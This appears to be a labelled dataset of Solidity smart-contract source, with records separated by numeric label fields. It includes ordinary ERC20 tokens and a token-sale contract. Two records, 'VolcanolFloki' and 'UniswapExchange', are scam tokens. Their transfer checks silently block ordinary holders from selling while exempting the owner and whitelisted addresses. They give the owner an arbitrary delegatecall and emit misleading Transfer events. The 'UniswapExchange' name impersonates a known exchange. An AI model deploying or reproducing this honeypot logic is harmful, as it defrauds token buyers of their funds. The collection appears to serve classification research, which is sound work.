require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SuccessToken is PausableToken {
string public constant name = "Success";
string public constant symbol = "SUCC";
uint8 public constant decimals = 18;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function SuccessToken( address _admin, uint _totalTokenAmount )
{
admin = _admin;
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) onlyOwner {
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
} | 1 | 2,740 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract VolcanolFloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 275 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 489 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CryptoGripInitiative is StandardToken, Ownable {
string public constant name = "Crypto Grip Initiative";
string public constant symbol = "CGI";
uint public constant decimals = 18;
uint public saleStartTime;
uint public saleEndTime;
address public tokenSaleContract;
modifier onlyWhenTransferEnabled() {
if (now <= saleEndTime && now >= saleStartTime) {
require(msg.sender == tokenSaleContract || msg.sender == owner);
}
_;
}
modifier validDestination(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function CryptoGripInitiative(uint tokenTotalAmount, uint startTime, uint endTime, address admin) {
balances[msg.sender] = tokenTotalAmount;
totalSupply = tokenTotalAmount;
Transfer(address(0x0), msg.sender, tokenTotalAmount);
saleStartTime = startTime;
saleEndTime = endTime;
tokenSaleContract = msg.sender;
transferOwnership(admin);
}
function transfer(address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) onlyWhenTransferEnabled
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function emergencyERC20Drain(ERC20 token, uint amount) onlyOwner {
token.transfer(owner, amount);
}
}
contract Whitelist {
address public owner;
address public sale;
mapping (address => uint) public accepted;
function Whitelist(address _owner, address _sale) {
owner = _owner;
sale = _sale;
}
function accept(address a, uint amountInWei) {
assert(msg.sender == owner || msg.sender == sale);
accepted[a] = amountInWei * 10 ** 18;
}
function setSale(address sale_) {
assert(msg.sender == owner);
sale = sale_;
}
function getCap(address _user) constant returns (uint) {
uint cap = accepted[_user];
return cap;
}
}
contract ContributorApprover {
Whitelist public list;
mapping (address => uint) public participated;
uint public presaleStartTime;
uint public remainingPresaleCap;
uint public remainingPublicSaleCap;
uint public openSaleStartTime;
uint public openSaleEndTime;
using SafeMath for uint;
function ContributorApprover(
Whitelist _whitelistContract,
uint preIcoCap,
uint IcoCap,
uint _presaleStartTime,
uint _openSaleStartTime,
uint _openSaleEndTime) {
list = _whitelistContract;
openSaleStartTime = _openSaleStartTime;
openSaleEndTime = _openSaleEndTime;
presaleStartTime = _presaleStartTime;
remainingPresaleCap = preIcoCap * 10 ** 18;
remainingPublicSaleCap = IcoCap * 10 ** 18;
require(presaleStartTime < openSaleStartTime);
require(openSaleStartTime < openSaleEndTime);
}
function contributorCap(address contributor) constant returns (uint) {
return list.getCap(contributor);
}
function eligible(address contributor, uint amountInWei) constant returns (uint) {
if (now < presaleStartTime) return 0;
if (now >= openSaleEndTime) return 0;
if (now < openSaleStartTime) {
if (remainingPresaleCap <= 0) {
return 0;
}
uint cap = contributorCap(contributor);
uint remainedCap = cap.sub(participated[contributor]);
if (remainedCap > remainingPresaleCap) {
remainedCap = remainingPresaleCap;
}
if (remainedCap > amountInWei) return amountInWei;
else return remainedCap;
}
else {
if (remainingPublicSaleCap <= 0) {
return 0;
}
if (amountInWei > remainingPublicSaleCap) {
return remainingPublicSaleCap;
}
else {
return amountInWei;
}
}
}
function eligibleTestAndIncrement(address contributor, uint amountInWei) internal returns (uint) {
uint result = eligible(contributor, amountInWei);
participated[contributor] = participated[contributor].add(result);
if (now < openSaleStartTime) {
remainingPresaleCap = remainingPresaleCap.sub(result);
}
else {
remainingPublicSaleCap = remainingPublicSaleCap.sub(result);
}
return result;
}
function saleEnded() constant returns (bool) {
return now > openSaleEndTime;
}
function saleStarted() constant returns (bool) {
return now >= presaleStartTime;
}
function publicSaleStarted() constant returns (bool) {
return now >= openSaleStartTime;
}
}
contract CryptoGripTokenSale is ContributorApprover {
uint public constant tokensPerEthPresale = 1055;
uint public constant tokensPerEthPublicSale = 755;
address public admin;
address public gripWallet;
CryptoGripInitiative public token;
uint public raisedWei;
bool public haltSale;
function CryptoGripTokenSale(address _admin,
address _gripWallet,
Whitelist _whiteListContract,
uint _totalTokenSupply,
uint _premintedTokenSupply,
uint _presaleStartTime,
uint _publicSaleStartTime,
uint _publicSaleEndTime,
uint _presaleCap,
uint _publicSaleCap)
ContributorApprover(_whiteListContract,
_presaleCap,
_publicSaleCap,
_presaleStartTime,
_publicSaleStartTime,
_publicSaleEndTime)
{
admin = _admin;
gripWallet = _gripWallet;
token = new CryptoGripInitiative(_totalTokenSupply * 10 ** 18, _presaleStartTime, _publicSaleEndTime, _admin);
token.transfer(gripWallet, _premintedTokenSupply * 10 ** 18);
}
function setHaltSale(bool halt) {
require(msg.sender == admin);
haltSale = halt;
}
function() payable {
buy(msg.sender);
}
event Buy(address _buyer, uint _tokens, uint _payedWei);
function buy(address recipient) payable returns (uint){
require(tx.gasprice <= 50000000000 wei);
require(!haltSale);
require(saleStarted());
require(!saleEnded());
uint weiPayment = eligibleTestAndIncrement(recipient, msg.value);
require(weiPayment > 0);
if (msg.value > weiPayment) {
msg.sender.transfer(msg.value.sub(weiPayment));
}
sendETHToMultiSig(weiPayment);
raisedWei = raisedWei.add(weiPayment);
uint recievedTokens = 0;
if (now < openSaleStartTime) {
recievedTokens = weiPayment.mul(tokensPerEthPresale);
}
else {
recievedTokens = weiPayment.mul(tokensPerEthPublicSale);
}
assert(token.transfer(recipient, recievedTokens));
Buy(recipient, recievedTokens, weiPayment);
return weiPayment;
}
function sendETHToMultiSig(uint value) internal {
gripWallet.transfer(value);
}
event FinalizeSale();
function finalizeSale() {
require(saleEnded());
require(msg.sender == admin);
token.burn(token.balanceOf(this));
FinalizeSale();
}
function emergencyDrain(ERC20 anyToken) returns (bool){
require(msg.sender == admin);
require(saleEnded());
if (this.balance > 0) {
sendETHToMultiSig(this.balance);
}
if (anyToken != address(0x0)) {
assert(anyToken.transfer(gripWallet, anyToken.balanceOf(this)));
}
return true;
}
function debugBuy() payable {
require(msg.value == 123);
sendETHToMultiSig(msg.value);
}
} | 0 | 1,035 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
